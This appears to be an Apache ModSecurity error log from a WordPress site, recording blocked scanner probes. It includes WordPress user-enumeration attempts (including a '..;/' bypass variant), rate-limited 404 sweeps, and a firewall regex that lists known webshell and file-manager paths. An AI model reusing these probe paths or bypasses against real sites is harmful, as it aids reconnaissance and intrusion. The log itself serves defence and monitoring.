[Thu Apr 09 14:21:21.385947 2026] [:error] [pid 24927:tid 24946] [client 51.83.238.207:55912] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "addFYTXObuzEuw8mNJtvVwAAARA"]
[Thu Apr 09 14:21:25.094270 2026] [:error] [pid 24927:tid 24941] [client 51.83.238.207:55920] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "addFZTXObuzEuw8mNJtvXAAAAQs"]
[Thu Apr 09 14:21:32.355874 2026] [:error] [pid 24927:tid 24941] [client 51.83.238.207:58584] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "addFbDXObuzEuw8mNJtvbAAAAQs"]
[Thu Apr 09 14:21:38.890809 2026] [:error] [pid 24927:tid 24936] [client 51.83.238.207:48514] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "addFcjXObuzEuw8mNJtvdgAAAQY"]
[Thu Apr 09 14:21:44.353381 2026] [:error] [pid 24517:tid 24585] [client 51.83.238.207:48524] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "addFeHboYEn2ZFM_PS9GCQAAAIs"]
[Thu Apr 09 14:21:48.828497 2026] [:error] [pid 24624:tid 24643] [client 51.83.238.207:47406] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "addFfO4Jn-WvK1ZBTvh4CgAAANE"]
[Thu Apr 09 14:21:53.507564 2026] [:error] [pid 24624:tid 24648] [client 51.83.238.207:47416] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "addFge4Jn-WvK1ZBTvh4FgAAANY"]
[Thu Apr 09 16:31:59.390112 2026] [:error] [pid 24624:tid 24649] [client 43.135.142.7:51410] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "addj_-4Jn-WvK1ZBTvibIwAAANc"]
[Thu Apr 09 16:43:08.459180 2026] [:error] [pid 24927:tid 24942] [client 62.60.131.175:28914] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmnDXObuzEuw8mNJuxQgAAAQw"]
[Thu Apr 09 16:43:08.466591 2026] [:error] [pid 24927:tid 24952] [client 62.60.131.175:28966] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmnDXObuzEuw8mNJuxRQAAARY"]
[Thu Apr 09 16:43:11.005030 2026] [:error] [pid 24927:tid 24953] [client 62.60.131.175:29010] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmnzXObuzEuw8mNJuxXgAAARc"]
[Thu Apr 09 16:43:11.010931 2026] [:error] [pid 24927:tid 24954] [client 62.60.131.175:29020] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmnzXObuzEuw8mNJuxYAAAARg"]
[Thu Apr 09 16:43:14.280839 2026] [:error] [pid 24515:tid 24536] [client 62.60.131.175:29046] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmoq1OMnvM2fMnB1NWbQAAABE"]
[Thu Apr 09 16:43:14.281523 2026] [:error] [pid 18477:tid 18502] [client 62.60.131.175:29060] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmosDe826HlFeoLPJJnAAAAVc"]
[Thu Apr 09 16:43:18.149169 2026] [:error] [pid 24927:tid 24952] [client 62.60.131.175:28928] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmpjXObuzEuw8mNJuxgAAAARY"]
[Thu Apr 09 16:43:18.819972 2026] [:error] [pid 24624:tid 24638] [client 62.60.131.175:45244] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "addmpu4Jn-WvK1ZBTvidOwAAAMw"]
[Thu Apr 09 16:43:19.263096 2026] [:error] [pid 24515:tid 24526] [client 62.60.131.175:45282] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "addmp61OMnvM2fMnB1NWdwAAAAc"]
[Thu Apr 09 16:43:21.610529 2026] [:error] [pid 18477:tid 18484] [client 62.60.131.175:45344] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "addmqcDe826HlFeoLPJJrAAAAUU"]
[Thu Apr 09 16:43:24.998638 2026] [:error] [pid 18477:tid 18480] [client 62.60.131.175:8726] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "addmrMDe826HlFeoLPJJwwAAAUE"]
[Thu Apr 09 16:43:29.234638 2026] [:error] [pid 20837:tid 20861] [client 62.60.131.175:8860] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "addmsfSL71FHZkjrGzO1HQAAAZY"]
[Thu Apr 09 16:43:29.246834 2026] [:error] [pid 20837:tid 20843] [client 62.60.131.175:8846] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/comments/feed/"] [unique_id "addmsfSL71FHZkjrGzO1HgAAAYQ"]
[Thu Apr 09 16:43:30.032888 2026] [:error] [pid 24516:tid 24568] [client 62.60.131.175:8878] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/comments/feed/"] [unique_id "addmsthW7vSS-UkeWCUMWwAAAFU"]
[Thu Apr 09 16:43:30.521693 2026] [:error] [pid 24517:tid 24598] [client 62.60.131.175:8882] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/comments/feed/"] [unique_id "addmsnboYEn2ZFM_PS9kAgAAAJg"]
[Thu Apr 09 16:43:31.554484 2026] [:error] [pid 24515:tid 24536] [client 62.60.131.175:8890] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/comments/feed/"] [unique_id "addms61OMnvM2fMnB1NWgwAAABE"]
[Thu Apr 09 16:43:32.920813 2026] [:error] [pid 24516:tid 24556] [client 62.60.131.175:8934] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/comments/feed/"] [unique_id "addmtNhW7vSS-UkeWCUMXgAAAEk"]
[Thu Apr 09 16:43:33.662114 2026] [:error] [pid 24927:tid 24936] [client 62.60.131.175:8942] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmtTXObuzEuw8mNJuxkAAAAQY"]
[Thu Apr 09 16:43:37.003771 2026] [:error] [pid 18477:tid 18489] [client 62.60.131.175:22350] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmucDe826HlFeoLPJJ5gAAAUo"]
[Thu Apr 09 16:43:37.697490 2026] [:error] [pid 18477:tid 18495] [client 62.60.131.175:22352] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmucDe826HlFeoLPJJ6AAAAVA"]
[Thu Apr 09 16:43:38.403349 2026] [:error] [pid 24515:tid 24528] [client 62.60.131.175:22354] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmuq1OMnvM2fMnB1NWhgAAAAk"]
[Thu Apr 09 16:43:38.899721 2026] [:error] [pid 20837:tid 20859] [client 62.60.131.175:22362] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmuvSL71FHZkjrGzO1IgAAAZQ"]
[Thu Apr 09 16:43:39.778343 2026] [:error] [pid 24624:tid 24627] [client 62.60.131.175:22374] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmu-4Jn-WvK1ZBTvidWQAAAME"]
[Thu Apr 09 16:43:40.207778 2026] [:error] [pid 24515:tid 24532] [client 62.60.131.175:22390] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmvK1OMnvM2fMnB1NWhwAAAA0"]
[Thu Apr 09 16:43:41.078085 2026] [:error] [pid 20837:tid 20852] [client 62.60.131.175:22392] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmvfSL71FHZkjrGzO1IwAAAY0"]
[Thu Apr 09 16:43:41.483994 2026] [:error] [pid 24515:tid 24537] [client 62.60.131.175:22404] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmva1OMnvM2fMnB1NWiAAAABI"]
[Thu Apr 09 16:43:42.362498 2026] [:error] [pid 24515:tid 24519] [client 62.60.131.175:22420] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmvq1OMnvM2fMnB1NWiwAAAAA"]
[Thu Apr 09 16:43:42.774973 2026] [:error] [pid 24624:tid 24635] [client 62.60.131.175:22434] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmvu4Jn-WvK1ZBTvidWgAAAMk"]
[Thu Apr 09 16:43:43.384925 2026] [:error] [pid 24515:tid 24527] [client 62.60.131.175:22462] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmv61OMnvM2fMnB1NWjQAAAAg"]
[Thu Apr 09 16:43:43.795992 2026] [:error] [pid 24515:tid 24526] [client 62.60.131.175:22476] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmv61OMnvM2fMnB1NWkAAAAAc"]
[Thu Apr 09 16:43:44.600346 2026] [:error] [pid 24624:tid 24647] [client 62.60.131.175:22484] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmwO4Jn-WvK1ZBTvidXAAAANU"]
[Thu Apr 09 16:43:44.856201 2026] [:error] [pid 24515:tid 24541] [client 62.60.131.175:39978] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmwK1OMnvM2fMnB1NWlAAAABY"]
[Thu Apr 09 16:43:46.056671 2026] [:error] [pid 24624:tid 24643] [client 62.60.131.175:39984] [client 62.60.131.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-sitemap-users-1.xml"] [unique_id "addmwu4Jn-WvK1ZBTvidXQAAANE"]
[Thu Apr 09 18:01:00.246542 2026] [:error] [pid 24515:tid 24535] [client 173.239.214.58:35459] [client 173.239.214.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "add43K1OMnvM2fMnB1NxEAAAABA"]
[Thu Apr 09 18:01:13.434046 2026] [autoindex:error] [pid 20837:tid 20851] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:18.778324 2026] [autoindex:error] [pid 20837:tid 20839] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:36.035311 2026] [autoindex:error] [pid 20837:tid 20862] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:38.662189 2026] [autoindex:error] [pid 20837:tid 20859] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:48.964638 2026] [autoindex:error] [pid 20837:tid 20856] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:49.189513 2026] [autoindex:error] [pid 20837:tid 20839] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:52.348154 2026] [autoindex:error] [pid 20837:tid 20845] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:52.562490 2026] [autoindex:error] [pid 20837:tid 20844] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:55.271785 2026] [autoindex:error] [pid 20837:tid 20849] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:01:55.490550 2026] [autoindex:error] [pid 20837:tid 20860] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
